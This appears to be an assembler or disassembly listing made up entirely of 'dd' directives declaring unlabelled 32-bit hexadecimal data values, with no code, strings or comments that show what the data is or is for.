dd 34FC008Ch, 51B5A058h, 349C034Ch, 121ACD80h, 0E2182871h
dd 0A119009Eh, 0E2706334h, 8D755072h, 406F5E00h, 451E599Ch
dd 2DFC0B58h, 24C8F64Ah, 0C003989Eh, 0C64D9463h, 516BD8C5h
dd 282D0907h, 0CD00A03h, 2938D73Ch, 0E10288D6h, 0C3783A08h
dd 0DB104B64h, 0BC5D8078h, 4FCAD318h, 0DD745361h, 0C0205A28h
dd 77A8360Eh, 0A3DF0841h, 9A274905h, 21908224h, 2C5EF2h
dd 0AFD67B7h, 3802694Bh, 0DD33ADA1h, 7868D3B2h, 3938FA62h
dd 424F800Ch, 0A540CBEBh, 0BF2F09A1h, 0ECE5B1CFh, 5A10C8BFh
dd 0E488D4CEh, 629ECBC0h, 5E572DE8h, 92600C1Ch, 6FC35971h
dd 0B4762C03h, 1A099D28h, 87B307Dh, 215CD4ACh, 8D809FEDh
dd 0D1BD8290h, 0A88F15A9h, 51138C89h, 0BFEC0508h, 0DAC00B98h
dd 5248BC04h, 0FDF2B4A2h, 9A8AE30h, 0E42957CBh, 7604D422h
dd 1D028C78h, 0D8E8D55Ah, 3CB491DAh, 12BE28E4h, 20BF1973h
dd 5A0159D4h, 0E64081E9h, 0EEF8F65Bh, 499D743Ch, 34F06038h
dd 49C7053h, 5C0CE135h, 0DA1E1880h, 6F5613E5h, 0BC804C1h
dd 7110F4EDh, 88B5B786h, 0BBF8D500h, 40762BA2h, 0A03B0BB3h
dd 50E4247Dh, 0B611B42Ch, 1F12323Dh, 2BE4E10Eh, 1E29C20h
dd 20EF0031h, 4FA58325h, 2E122DBEh, 0F4F077A3h, 0D149E7Bh
dd 89A1E104h, 8086CA18h, 5F1D0D04h, 25D5B6Ah, 348CD9F8h
dd 0A258A87Bh, 998BEh, 835E16Eh, 0E5A497B5h, 2D384805h
dd 38E59941h, 8DBCF468h, 12EF018Ch, 561F7949h, 20E83098h
dd 0DC02E475h, 7C34D8B2h, 28CDE0Bh, 82DB0440h, 215CB4D4h
dd 3980D9F8h, 0BBA771E3h, 0EC0327E0h, 0DE7CBC80h, 76CB43DDh
dd 0E85C0E47h, 349E1723h, 236C2E48h, 7E840086h, 0C161F60Fh
dd 0E4D66717h, 4FD86C66h, 0EA9C0B4Fh, 0A944F8C7h, 705AF861h
dd 0BD2BA240h, 5821F43Bh, 0C621F8h, 320FF1DCh, 0D5E545CCh
dd 40485451h, 4DF8E40Ah, 465EDC9Ch, 6B001F8h, 0B25EE225h
dd 5C3822DDh, 0F8BAC210h, 0F2048CEBh, 5BA89711h, 0CAD5A091h
dd 2A28083Ah, 3E9848C0h, 2C6E4FA8h, 50016D2Ch, 68B31D98h
dd 0E6DC3F71h, 25D091C6h, 0A2E408C5h, 0EB8D160h, 0F1A56E01h
dd 31567D4Bh, 0F83387F8h, 701978A2h, 1C0A9F21h, 0E08C8274h
dd 6F183F27h, 8AC62623h, 86C2C20h, 420BDA84h, 0C0FCCDC2h
dd 31D5FC29h, 5C5F3A00h, 4839248Dh, 7E2B18A8h, 647F68ACh
dd 16032012h, 7F395CE0h, 96522FE6h, 97800CBDh, 23A48DE7h
dd 0C79540E2h, 9D1BB72Dh, 80A7916Ch, 0B862A4D7h, 40D64A75h
dd 44E8BB2Ch, 563EA909h, 3E9BB6Bh, 0BF37C8DBh, 0A27C98B3h
dd 940100EAh, 7A5FE8A6h, 0BC4E9E59h, 7300106Eh, 20E486B0h
dd 401D56CFh, 35425FE3h, 0D9E71638h, 18F6D924h, 0B5C23CEEh
dd 0CF6F5909h, 1C703873h, 28FE050Dh, 0F1FB58D5h, 0BC282854h
dd 61048CA6h, 0F6632BB3h, 0B19CB4h, 0AB5A7826h, 531C1FDBh
dd 0DBECE04Ah, 0DFA62704h, 7428ED29h, 0B6CB4701h, 0B01203A2h
dd 0A7633024h, 0DA3F428Ch, 66FC8B19h, 0F3E7EF8h, 0EE9071BEh
dd 0A280DA08h, 3C899D75h, 0D7A75B91h, 315980D8h, 1B5D788h
dd 52987160h, 0A7B82838h, 108E28Ch, 35ABACD7h, 30E1837Ch
dd 4A4DA3DCh, 7EFC4114h, 24EE6840h, 0C14BD604h, 4623A2C1h
dd 0FCDC74B5h, 149A825Eh, 2BB96DC0h, 0A3E6C799h, 1AC16416h
dd 0E634F407h, 0FB52A742h, 20445810h, 0A4A4813Eh, 2340A4D5h
dd 8AD0CBh, 5E90CC9Ah, 1C3DC20Dh, 410BB000h, 0B1819EA6h
dd 0FCA4588Fh, 9DA26982h, 5C125C70h, 5CB45BE2h, 0DDFF09CDh
dd 0C0042442h, 4530E0DBh, 0E4357F0Bh, 47B460B3h, 0DCFC4CB0h
dd 18CF6E8h, 65A974Dh, 8BFB70BEh, 0A02EBF61h, 0AB74D6E0h
dd 8E40004h, 5BAFF2AEh, 0A200E27Fh, 0CF388B55h, 9E23A02Fh
dd 56AC934Ch, 697AA84Ch, 8101D89h, 0BC60D9F2h, 1415178h
dd 0E8E55740h, 0D4B76E59h, 0F494AC39h, 0A4809C1Ch, 5680B6C8h
dd 7B099529h, 9035C854h, 0E9ECB0FCh, 0A349008Ch, 8BE063D7h
dd 6CB82A79h, 7D889174h, 670E40C3h, 278E9407h, 5B90326Dh
dd 66F5B25Fh, 0C3C2842h, 31BBE801h, 3E51A259h, 257018A8h
dd 0D009F25Dh, 0E3007CE4h, 24BFBA6Bh, 1C40C40Dh, 0C94A8258h
dd 8A9F201h, 0C200058h, 7C80B01Dh, 0A0F89E83h, 0DBB23230h
dd 145C2028h, 3AA8467Ch, 53498943h, 0B33CA0D6h, 0D793B231h
dd 0E030A688h, 0F4F7DDEh, 0DB936904h, 0B230E392h, 0A7A63081h
dd 0EAEBF900h, 86D43BCCh, 55940B25h, 106DBC1Ah, 0E8E984C0h
dd 5E6AFEE7h, 3A2C803Dh
dd 3225BBE4h, 9FDCA2B5h, 239A01E0h, 5844682Eh, 0A9A73FECh
dd 8DD168DDh, 0BA0C9918h, 80316B79h, 404241E5h, 0BCC20BDCh
dd 6C5FC0A4h, 206E6017h, 12CFE303h, 0ECC83BDEh, 90B4541Bh
dd 80BD60D6h, 0A3E67986h, 0C2568E01h, 0CF99E7A1h, 9778C2EBh
dd 82EA91C0h, 7E5A10A5h, 5E9840FCh, 0F700862Bh, 650B67C4h
dd 59FA0956h, 1D0044DEh, 3117BA1Eh, 0C595CE4Fh, 60F9E4C8h
dd 30B81CEh, 0FACA2551h, 5CAB337Dh, 0CD2B5805h, 0B4028DAAh
dd 0FC9C2157h, 5B7009F8h, 0CE83209h, 0C082D498h, 809E2E30h
dd 0B003C79Fh, 0B7F783FAh, 1E69902Ah, 1FDE305h, 6B6FEB20h
dd 0B460DC1Ch, 0AB1C3E82h, 7D00CD3Ah, 316C8050h, 640F07D5h
dd 807E4733h, 6F2F8C6Bh, 16288D01h, 0AF4232CCh, 4127A460h
dd 0D90020DFh, 0DAD0EE12h, 7C80089Bh, 1FDED6F4h, 20083E2Dh
dd 62DBD7B4h, 0FDAF00CFh, 8CF415AAh, 277334EBh, 382A6D1Eh
dd 0D5B84AC2h, 82507E5Ch, 0B247150Bh, 95B7584Eh, 80FD91A4h
dd 6F20F2A5h, 392D60D6h, 0B3214650h, 90C85C4Ah, 0CEA35B0Fh
dd 85410030h, 21F7E551h, 7CB09CDAh, 0C0008F46h, 5DF488D7h
dd 3117564Dh, 94A4D8C4h, 61F728DCh, 44E89028h, 1C07EAB0h
dd 59677545h, 0B7FC38F0h, 0D0E44CC3h, 0ABF9A19Fh, 6C02D118h
dd 1B04D7Ah, 78C5802h, 0E7B2537Eh, 41DF935h, 7083A391h
dd 0F080AAABh, 0BCEAB83Ah, 0E42E042Ch, 7DFD467Eh, 2657E13Ch
dd 8002D4DDh, 425370A9h, 981D5DA4h, 609E4388h, 5A2FDF08h
dd 11239404h, 0AD80D6D5h, 24F4C5A0h, 27486C84h, 3E6F1098h
dd 944880h, 0B92C9FBDh, 92232678h, 5F88B167h, 6615E2C0h
dd 3CB490A8h, 0A70012B6h, 625883DAh, 5053DF5h, 8CBAF121h
dd 279908C1h, 0DE603C00h, 0B6E6EC04h, 38B27977h, 0F830EBE2h
dd 0B4547875h, 8D465E30h, 12D4321Dh, 64801B3h, 0DA03A86Bh
dd 31853068h, 0CC9BAC3Ah, 8DB86214h, 6B0F0249h, 98005C66h
dd 2A2CD379h, 0DD51E4h, 151767A9h, 7E6A5C7Dh, 0DED1C600h
dd 0FDD00E09h, 52AF2544h, 0A1583853h, 3D31E891h, 7B1360F5h
dd 7640F8Ch, 2800D0D4h, 813DA65Eh, 0C2629DFh, 172D20D5h
dd 0DA3F8894h, 0FFC06A64h, 3C68C4D1h, 4AD7E0Eh, 0D0DB70A7h
dd 8A1CE5BDh, 9C90E1E6h, 217920h, 70F5F001h, 0C603A4BBh
dd 5C81A34Fh, 3E3A1BBDh, 0DA401070h, 0BC6B25C0h, 0E302CF89h
dd 0D7E97176h, 80ACFCB4h, 2EEC8B64h, 0E80948BFh, 0B2F91AA1h
dd 5EC85C2Ch, 0B07E946h, 0B176EB39h, 0E4B343FAh, 8A4B0159h
dd 9406E812h, 0F0E08E86h, 4A5EEEDFh, 7A4C0F4Eh, 0ECD8CA04h
dd 4B0501B8h, 73CD7433h, 6EAED444h, 48FF01BCh, 0CA4EECD3h
dd 24B306FCh, 0AC7D0Eh, 8D5C76A2h, 83063825h, 0B76E0BA4h
dd 407F4D98h, 3087A4Eh, 0D1B465DBh, 14E4FBBh, 31FFE510h
dd 138C2274h, 1823B0D5h, 0FFBE034h, 655C00AAh, 6AED040Eh
dd 0E30044C3h, 97A18FD0h, 94866Dh, 9EFC2363h, 0A637A04Eh
dd 351008C0h, 0E85258Ah, 6229570Dh, 12A96441h, 0B7A4F8E6h
dd 6EEF5900h, 0D70F3F6h, 7CDF4FCh, 0AB8F12DFh, 4E4850B6h
dd 0A36036F1h, 61277F51h, 0F22903ACh, 1A201304h, 219A0830h
dd 1C612B62h, 0BFBBC3D3h, 22875C8Eh, 0AD4E4A20h, 29C1A079h
dd 0CE3DD2Ch, 0CC29D89Fh, 0C8985F19h, 9F206060h, 54E7EAh
dd 0BD935CD3h, 8225E4C7h, 996A7800h, 0F0056DC9h, 3AA40295h
dd 4EB961ADh, 578E1AC0h, 0A0B6A601h, 9F0DC81Fh, 59F07089h
dd 5C011AF6h, 648FA43Ah, 98EB0895h, 9B51CD00h, 981A3210h
dd 17A5E60Eh, 28036073h, 0C00EA7E5h, 7A391FA8h, 0D73E589Dh
dd 0F360512Bh, 69F829C8h, 1050EDF5h, 1B0F4A4Eh, 11A47655h
dd 0F3E3A980h, 84A32701h, 82D31F5Ah, 0C00EF9D0h, 0E1C0E620h
dd 0A600CD99h, 6C7A91B8h, 797EE90h, 0B2A513F7h, 65ED3015h
dd 0A4A8A2CEh, 5B18D79Fh, 0F9F8A13Ah, 0AC8801DDh, 49DA8F50h
dd 2958890Fh, 0B533001Dh, 0A5CA9BBh, 508D6207h, 22F71EB8h
dd 6653370Ch, 394A4899h, 0DD08D693h, 6421709Dh, 8618F451h
dd 0C016C72Ah, 0FA00317Ah, 0E3334D9Ah, 304F5610h, 0DA31F379h
dd 9D00747Dh, 0D0C770D5h, 0D913Fh, 386E60D3h, 0BB282673h
dd 960ACE90h, 84B1F91Dh, 366A4F00h, 5A0809Bh, 63DD2909h
dd 19C84008h, 0A5025FCBh, 0C4912B28h, 0AC025246h, 0AB27F2E3h
dd 0E1480332h, 0C2DC90C3h, 902652F9h, 6A5BD504h, 0A435057Fh
dd 0A0F8C023h, 0C35AC6C2h, 543E2E11h, 0F314D990h, 0E4CDA20Eh
dd 21328CF2h, 5436001Ch, 86CAD847h, 5602CB39h, 0A0F7B7DAh
dd 3D2490C1h, 0D93F1154h, 8131881Ch, 0D554351Bh, 3305CC9Ah
dd 5B87D305h, 0BC302C5Fh, 1C700F09h, 94340A2Fh, 0E506AE0Bh
dd 0C8887623h, 0A93722h, 18B38A2Bh, 0EC63534Ah, 0ADDE0209h
dd 5D8128Dh, 0A040A6D8h, 538C8EC4h, 4A7F267Bh, 98465E10h
dd 233DE639h, 75C71106h, 0F50059B0h, 0D757DBF1h, 42BFF4h
dd 7683ADC3h, 0FC69E125h, 0AE411F3Ch, 0A0019F2Ah, 6FC253D7h
dd 0F829F822h, 186979A0h, 1F4A01E6h, 63E28951h, 9D4C3018h
dd 5C8E4212h, 0C04F1C08h, 2725E1C7h, 9182D321h, 0BEE000F6h
dd 103C05E1h, 0D0CB078Fh, 20FCFD97h, 0FE94A4FBh, 3A7FBD00h
dd 0D5A54F21h, 0A26E307Bh, 62C6C0C0h, 8E0499C0h, 7B9A59EAh
dd 31CB0319h, 94467EDAh, 2C4095C2h, 0CC98F4A4h, 0FCC45085h
dd 30491160h, 81B45138h, 27651FA6h, 6208562h, 5991FD12h
dd 0E1C68050h, 0A5BB2728h, 0BDDF007Ch, 0FB0D21E1h, 4BCD2909h
dd 5E3480FCh, 0EE22816Bh, 31152C0Fh, 0A6948030h, 2B0BDFE9h
dd 0B6F06A0Ch, 483679AEh, 0F4C02437h, 0A29A961h, 6593448Ch
dd 2442C40h, 37C26ED1h, 443B44Fh, 5CFCD8E4h, 963E9B08h
dd 2104C634h, 9B54D200h, 5250FE1h, 0A72C98A6h, 606C4424h
dd 0EAED5007h, 0FA1CE94h, 80C15285h, 0CD34BF0Ah, 0E924C800h
dd 18A01C61h, 2B5E03E6h, 0AA15C92Ah, 54764839h, 8E033BB8h
dd 0FAB558CDh, 0C39023A4h, 5D543B01h, 68184CD9h, 331988h
dd 0D3E59854h, 0C20BC611h, 0DCFD8F1Dh, 9E30C0E8h, 266328A5h
dd 6084AACAh, 0C1077D30h, 6A7BD720h, 0B0A4679Ah, 12BD2C6h
dd 3046F144h, 0E08E6AF7h, 3418227Eh, 45A84DA0h, 60F7E94h
dd 93ADA7A9h, 2A0919F5h, 1F4ABCDh, 0DC4A2120h, 1B1043D6h
dd 69C424B0h, 1299823h, 963B9B5Bh, 0C008184Ch, 9B53D321h
dd 2705668Eh, 0B379551h, 103CD454h, 28C036F2h, 2A27C561h
dd 0FB99458Ch, 0A27E20CFh, 0B2018555h, 4A07DE36h, 0A0206BFDh
dd 8BB13A88h, 9228D85Dh, 0AA49160h, 0A1D403C8h, 1931D1ECh
dd 1130D0h, 0DC44AAF7h, 0EFF9C88Dh, 0D8803C91h, 91C5A152h
dd 5CED00F4h, 0C26B8822h, 5CC36C95h, 0A89F42CBh, 1323973Eh
dd 2263D42Bh, 0A047A0ECh, 6C600144h, 8B000EC7h, 1104805Dh
dd 901D7A34h, 907C905Fh, 743173DCh, 9DF416EEh, 4C1253h
dd 44E1CE68h, 3CA5B9E2h, 6407C4h, 45178BDh, 7BE840ADh
dd 1FD00A59h, 4E40DFB2h, 0BED146AEh, 8C0901E2h, 0DA8E1364h
dd 238C7130h, 30F8B2A0h, 7E0071B8h, 7C46CEABh, 0B555EB3h
dd 0CBEC9F21h, 0A01D40A9h, 6E82FC11h, 0DFC023B3h, 15027FE8h
dd 914A2A7Eh, 402C4259h, 60267B40h, 10AFE071h, 1F2C29FCh
dd 0A360CC50h, 20853464h, 0A8917EEAh, 0D0189971h, 0FF660201h
dd 0C7308F40h, 1E3450D6h, 9280DDF9h, 23983A0Fh, 17450194h
dd 601D5D5Fh, 0DE406F10h
dd 0EC490546h, 2EA0C57Ch, 9A2358h, 3D8D3E86h, 4D00D766h
dd 98DEB191h, 193132E8h, 5847565Fh, 0BF31835h, 0D229B061h
dd 11902C1Ch, 0C7EC6109h, 47BC206Ah, 21CAB1h, 5F7E294h
dd 789DA2BBh, 0B249201Ch, 82E38541h, 0EC235BFAh, 3700BF23h
dd 0ECD95954h, 500894F2h, 5300EF0Dh, 0FD061C21h, 2D0FCCFh
dd 5B41012Ch, 0F881A6BEh, 289B2B28h, 8CFBBC64h, 230089E6h
dd 0A7E52405h, 303CFCF5h, 6CF1A837h, 9A00CF31h, 34303647h
dd 5D1938Fh, 0D3CD2BAAh, 5FD405EFh, 0BD449237h, 16543930h
dd 383CD95Bh, 0F1000F8Ch, 3BE78D53h, 0A4ED2BAFh, 9CAD7BFCh
dd 952A8250h, 9C4004C3h, 0B725B13Fh, 9138976Fh, 5D5787FBh
dd 48999210h, 1E5107A6h, 0CCC7BECAh, 7D008D91h, 82E9AF89h
dd 1A424DFh, 0A68BA92Fh, 0C0CE8E46h, 3E00BF2Dh, 2184D0C8h
dd 14963F04h, 0F5AD3A9Ch, 92564E05h, 3AC81273h, 7062358h
dd 0A1A95B9Ch, 0C817D951h, 6E404223h, 75151709h, 0F0904012h
dd 90F10B05h, 0E3450F02h, 843032D2h, 3860C0C0h, 0D9105854h
dd 6AC8F2E4h, 53F00E80h, 7527A80h, 215F3FCBh, 0F491E9F6h
dd 0B581820h, 54963A9Bh, 0CE01A01Ch, 98359B50h, 0F9CCB9FFh
dd 5AA51AF4h, 88372111h, 8275F780h, 11DBBBAh, 211FFBF3h
dd 0FC2C8A83h, 0C81290B8h, 30CB4914h, 31C19788h, 2C61B21Bh
dd 0F4581DCh, 53E2C228h, 5B889EAh, 8BF7D6F5h, 0C065C8C0h
dd 84BE17Fh, 11435D02h, 61510D62h, 43857D0h, 388C68BCh
dd 0AC8F4023h, 9661B7F9h, 200118F5h, 0B87B3704h, 0A1F2625h
dd 4674000Ch, 5A00736Bh, 0B0DE7159h, 4A9D87AEh, 4E0000C5h
dd 0A86411Fh, 0CCD40C26h, 14F55308h, 4AA621h, 0D9BD83B8h
dd 0DC2C8F45h, 0C7929CAAh, 0D346A091h, 0B3AE130h, 0F2669D75h
dd 0C641D200h, 8015A23h, 0A9F99A78h, 93CC2CB2h, 59E10222h
dd 4DC194ADh, 0EF46C0E4h, 0C6612502h, 0F09C2227h, 61216000h
dd 249C1E33h, 4F54989Ah, 9DC407DFh, 0A0657583h, 42886124h
dd 69560002h, 0DEEB11ADh, 0A8F27745h, 0E8A8274Ch, 0A4008CF7h
dd 0AF4912B2h, 7FF57C3Fh, 61D8A840h, 1DA024B5h, 9B57C384h
dd 186C96E9h, 4FCF8802h, 8E059B00h, 8A534B01h, 1B509092h
dd 0C05672CBh, 0EE9DCE8h, 467628B4h, 1C0F00F7h, 0CA8C5E4Bh
dd 0BCCB137h, 61001B5Fh, 3C0C6401h, 9700E077h, 63B4EFF7h
dd 0F2D34DB6h, 0D99F09D1h, 0C03E483h, 0B90617C7h, 538F3DDh
dd 60D716F8h, 29500127h, 5057C947h, 8C7053BCh, 0CFA5Ch
dd 7A69800Ah, 1F92558h, 6BA515A8h, 203DF121h, 3B8CBE6Ch
dd 0D996543Ah, 0CB2C3934h, 2BB853BBh, 0F8E2F3F6h, 8850A56Ch
dd 5C5896B5h, 979F0121h, 0ED750011h, 4B254A1Fh, 0CF522090h
dd 0DD908C0h, 6229050Fh, 9E54B009h, 8C23DC2Ah, 1856CC81h
dd 0EEE30BB0h, 30458B27h, 0E1C7E580h, 295FD56h, 0FBFF2D25h
dd 30CE53A4h, 46567094h, 13037202h, 5B5EFC57h, 2A76E0D5h
dd 3A50D272h, 20323F8h, 0DDB860DCh, 0D146EC83h, 0DB664DD8h
dd 86025B1Ah, 0DA900358h, 6ED94FDCh, 80A107B4h, 1889136h
dd 79050AFEh, 0A08828E8h, 30A2520Bh, 46C91F75h, 13176849h
dd 0F43A302Ch, 95019A23h, 0AE92B98h, 42A3E0h, 49EDB68Eh
dd 29FC74A9h, 87461D18h, 2C639F64h, 94A0D423h, 2E005837h
dd 0E3BD3ADDh, 0D51E70B5h, 3071F34h, 403FE05Ch, 7B9D377Ch
dd 0C0A2121Dh, 0D2980EFAh, 43227A0h, 0C1242596h, 133F00FEh
dd 7082E39Dh, 79887910h, 0E4189Bh, 0AA0EFECDh, 4A8F5174h
dd 4FDD2909h, 98908307h, 433DC3B4h, 0FCE2D830h, 56F0CE31h
dd 14F400AEh, 29056603h, 0C964A53h, 9A465Ch, 64ECCBB3h
dd 70FCA1FAh, 402C5E3Ch, 95CFD7A0h, 35ECA4B0h, 4674F0B4h
dd 42450067h, 0BA688148h, 0A9220761h, 48E42FD9h, 0C5835191h
dd 0C38A27E1h, 0E260D459h, 14E1BCh, 0D05F28B1h, 22570763h
dd 0A592AD18h, 0F0D9FDD9h, 0FA4205D7h, 359F122Dh, 23502EE8h
dd 0FA250095h, 0B77C4611h, 0E42BD824h, 8D14BC28h, 0E8E059E4h
dd 1C058CF6h, 5FC7D994h, 0D83D9440h, 14691Eh, 36151897h
dd 0C6397E17h, 22883A00h, 0DEFC1DC5h, 5424255Eh, 746D2012h
dd 56020F67h, 0D07562E3h, 0FD7B397Ch, 2C80EBA4h, 65467470h
dd 512E4B01h, 5137E8C1h, 50A3C594h, 0B649AD88h, 272DC8E8h
dd 0CDFCA0C9h, 7EEFD717h, 281E0083h, 0FBBB95E6h, 0C2B0B80Bh
dd 1991E102h, 87292B87h, 94425EA4h, 8E58E8F8h, 0DE007CCh
dd 0C62795BDh, 221619F0h, 144158DBh, 8E73A9A2h, 8C720871h
dd 2C3105E2h, 0B075DCCh, 0F3067409h, 60613C02h, 37952801h
dd 9E840C2h, 6DC91D55h, 0F79F4996h, 6AC44045h, 53E2B460h
dd 0C8801E28h, 5BF5953Eh, 0B55F0445h, 8281449Bh, 49832A8Dh
dd 0FD95F0C4h, 0F4F9F828h, 0D673D513h, 243A64C5h, 0C19EEB10h
dd 0BDC12E60h, 0B12A6AD9h, 8D54F00Ch, 257A4006h, 0C008B9h
dd 8498B6CDh, 0C97F4982h, 0AF80E4BEh, 7C31DF13h, 0A53622EFh
dd 30C9500Eh, 2C63C5F5h, 0AA1FE45Fh, 0C9A9764Ch, 0ACC50067h
dd 9DD4CF2Bh, 0B524B8B9h, 0C8325C3Fh, 9B56301Eh, 64963812h
dd 0D03980CBh, 0B32F9B80h, 5901F903h, 0E993F802h, 4029DFF0h
dd 45E28EECh, 0BC63AEh, 0CF0EFBBCh, 1D72DD4Ch, 432D2713h
dd 5C8E3449h, 28994AB9h, 0EC72180h, 8020CF98h, 7F700862h
dd 4A411303h, 0FAF757Ch, 74D4C261h, 0E471E900h, 0CA000734h
dd 36991146h, 263DD2A1h, 7698E094h, 0E401F646h, 0D68DE02Ch
dd 0D439A8A1h, 8DD9E30h, 90301DB0h, 1C2B4634h, 968B9B3Dh
dd 0DC9C3Ch, 0CB9B55D1h, 0C85D6FC4h, 10FF49h, 0DD47D532h
dd 71542h, 0CBB07051h, 9FE26A3Ch, 1EF5E93Fh, 32811482h
dd 0D96227F4h, 0C7867C7Ch, 0C1006115h, 256F5157h, 9A94879h
dd 4ACD0FB8h, 999C8C0h, 454B68BEh, 606BE4E4h, 18A9025h
dd 7F971FDCh, 7C6CDE69h, 84B2D288h, 4A587B00h, 26C1C608h
dd 71506300h, 0F0934CEBh, 0EFE40942h, 0C4513D9Dh, 38189479h
dd 2653780Bh, 0B634419Ah, 2C8C44Bh, 0BFD4D4C7h, 73B224C1h
dd 1C90C00h, 6C2DA85Fh, 9300C1F9h, 1D2507A9h, 7BBC1CD3h
dd 0A70E40DCh, 5D4051FCh, 23B5102Ah, 0B48A96F6h, 56C0F7C8h
dd 54B5BFFh, 2BB0D5D2h, 254CF386h, 0B260A1C8h, 52E4A5BBh
dd 0FBD80EB6h, 0D962FC9Ah, 84CD235Eh, 0F0600344h, 0F5B021DCh
dd 7CDC2E48h, 4522F918h, 2798D779h, 903DFD37h, 49D1BC80h
dd 0B29EA39h, 0A9E0CB95h, 712E48E0h, 3046AD43h, 30D23B7h
dd 0D14626C8h, 568D6504h, 9CD54479h, 0B5E154A6h, 0B04CF4E6h
dd 89013801h, 2BAF14F6h, 0C2E2F3F1h, 60205E78h, 201FFC40h
dd 6C908029h, 88D49F10h, 178C95B8h, 134010Dh, 7BE4B31Ch
dd 48186892h, 8C04E8F0h, 210CBD03h, 40A9D3Bh, 0DD4A2C18h
dd 4564806Ch, 0F496B9E2h, 9EEB215Eh, 0DF450180h, 0B73E0Fh
dd 0B8CD9048h, 3A235940h, 0F925E4B2h, 1FA42026h, 24B6AE39h
dd 1734A49Ah, 88548FC3h, 26D8C068h, 2D7881A9h, 15161A7Ch
dd 0EC0BF785h, 0DE2C4876h, 7A030A9Dh, 5DF2838h, 408E3730h
dd 0EB679AB4h, 68004505h, 0B273D2BEh, 1594BF4Bh, 8413C780h
dd 480EDC3Eh, 20E0DE7Dh, 2658DFADh, 50B03D03h, 0A1BEF21Eh
dd 70C03FEEh, 94B175h, 6B018BA7h, 0DAF8F01Ch, 30A67700h
dd 56C6BB74h, 490F005Fh, 0D9CFA37h, 76FD2659h, 0AC0F7D0h
dd 14CE6F4h, 0FA964F5h
dd 5EC14Ah, 0A7A1B0C8h, 6066C4B0h, 17AD674h, 9AE35170h
dd 687CF3EDh, 0A0BE1230h, 0E1E094A6h, 0C30210E3h, 9527FCE2h
dd 505697h, 8C21A0C6h, 7000BE88h, 0BD411F1Ah, 70EED3D4h
dd 61AD00C2h, 47565EB8h, 2F35D989h, 0FCA23818h, 0E2BCB001h
dd 2AA88E23h, 9B2B4C05h, 305B18F1h, 60EE40DFh, 0C5D7E272h
dd 80D0385Ch, 2025FB82h, 408C38C7h, 0B8A32B2Fh, 46E829FCh
dd 170BC187h, 6A0814F4h, 11981DA0h, 0C6498008h, 33B1813Bh
dd 9F811EF9h, 82EB27A8h, 67C46CA5h, 0D4CF0B60h, 0CC65C702h
dd 842B3E87h, 9D050EC4h, 20808963h, 48CF05Ch, 27C76126h
dd 0B0DCA81Ah, 611E5Fh, 7E412B5Dh, 270F02E3h, 62618279h
dd 0BBEC9E50h, 2F5ABC7Ch, 2F52320h, 0B577ACAh, 21B24040h
dd 0CCE7AC02h, 46A7C96Fh, 0EC47024h, 0CF8FADDCh, 3538B815h
dd 1FA02729h, 0D862CBF4h, 6AE4BCC5h, 5BD79C60h, 3494D224h
dd 59B1661Ch, 298064C8h, 6BAA0D2Fh, 910037D0h, 0BFA2D955h
dd 32906E9h, 5B3ABC54h, 40049536h, 4A59C84Fh, 0FBAC6CF9h
dd 0A6494600h, 41922765h, 0A1E89A36h, 6429B640h, 0E0042ACh
dd 7C46BC23h, 2F5BE2B9h, 549A87F6h, 69598C59h, 0F8009418h
dd 417F211Fh, 9556DC71h, 0D500E037h, 2BB11859h, 822A1288h
dd 8A988081h, 9874ADA6h, 0E3E8A097h, 0A9A76797h, 53DC20CCh
dd 36132FD3h, 0DC852882h, 0B04524F8h, 0FB9EF087h, 8BBC512Ch
dd 0D0042E62h, 0A22510BFh, 30FAB2ACh, 1D00A568h, 0A95BBCBDh
dd 1E138F46h, 17CD2B58h, 3C14DD08h, 8C97BCB4h, 2DB93104h
dd 0E481A9CFh, 0B020DB93h, 91EEE139h, 746D75C4h, 70E87100h
dd 0A6300AEBh, 0CF308BEEh, 3229FA8Fh, 0A3F90021h, 540956C3h
dd 33524E4Ah, 61F10248h, 5C0229AAh, 2D645858h, 0C9656108h
dd 664D8058h, 0D2B967C2h, 8D93A403h, 3B894A29h, 0A8277CF1h
dd 9EDB0068h, 46766494h, 0D4A80707h, 0FCF1DF02h, 216A3CC7h
dd 17E6A48h, 6026E095h, 2C7698F0h, 0A62B5413h, 0F8C83C8Bh
dd 3C1219C0h, 2966017Eh, 7BDCE70Ch, 0D3002005h, 4A345F12h
dd 13E0D4F6h, 9D000506h, 6119AF65h, 94F293Eh, 0EDEBB189h
dd 24C7040Bh, 1F0EEC89h, 89F6116Ch, 731582F7h, 0A59042C9h
dd 1C999364h, 0C8C11C5Ah, 623B9171h, 0CD2AC144h, 0D0A8F97Bh
dd 3FDD2198h, 1D4AC2Eh, 2A542EC6h, 0AC633D92h, 85BA7048h
dd 0AE7B3910h, 0EAFD40A4h, 0A51503A4h, 0A30A23D5h, 2B661875h
dd 18A81190h, 618F3897h, 0C90051CEh, 0D930B70Ch, 0FC079ACAh
dd 81E902B0h, 38F3DE65h, 63003CD0h, 0FC3F0C5Dh, 4C0A391Fh
dd 0AD10E095h, 0FBB80E56h, 0D57CE35Dh, 24EDC453h, 2A812B01h
dd 0AD686D7Ah, 1E43728h, 0C8EE4C42h, 4FB824FBh, 0F24D5401h
dd 822944F0h, 6CD03B71h, 5BEDEE49h, 3EF880B7h, 6F2CD850h
dd 95052B59h, 0C812F807h, 0F4C8B08Bh, 9363B0C7h, 80F14BD9h
dd 28C5492Ch, 8E085D0Ah, 0AD0918D7h, 0C8D84994h, 86002C32h
dd 7F0B91D5h, 29EAD89Ch, 5540989Eh, 13057A2h, 0D233C3DBh
dd 23E38B4Dh, 30FAA2B0h, 67010ADBh, 4893D5B5h, 246DD88Fh
dd 0D68E4602h, 2859393Bh, 4FAD013Ch, 4C3CE41Ah, 0FD44720h
dd 0EA1BAAA5h, 0F3B149A0h, 0B76B66C7h, 708B730h, 302B5AF3h
dd 91595DAh, 0BF4090B6h, 50AFDD27h, 7C3ECCD9h, 8F4E4F1Ch
dd 0C03288F0h, 0C4DA4442h, 0B5120190h, 0C4E031E3h, 148E7AC2h
dd 0E038C56Ah, 87DD2C04h, 0B284F3F7h, 0F42E30F8h, 9E998E3Fh
dd 0FF80B130h, 0CD3EBEEAh, 30019F96h, 85023A5Eh, 0A12597C8h
dd 9F7864ACh, 0EC08C09Dh, 7576F9Eh, 909319h, 9594EBDBh
dd 23E4B102h, 5663CD4Ch, 1467454h, 0AD9EFE00h, 0D62270Bh
dd 22905C50h, 0C0A38E04h, 0C4A45DC7h, 0BD3C01F4h, 36F39063h
dd 0EC87E01Ah, 0E72DE6F8h, 0BEAC6423h, 96465664h, 0D632B500h
dd 0D9DEB0F8h, 7CFD3578h, 8C31BC68h, 0CCB5C101h, 403C3481h
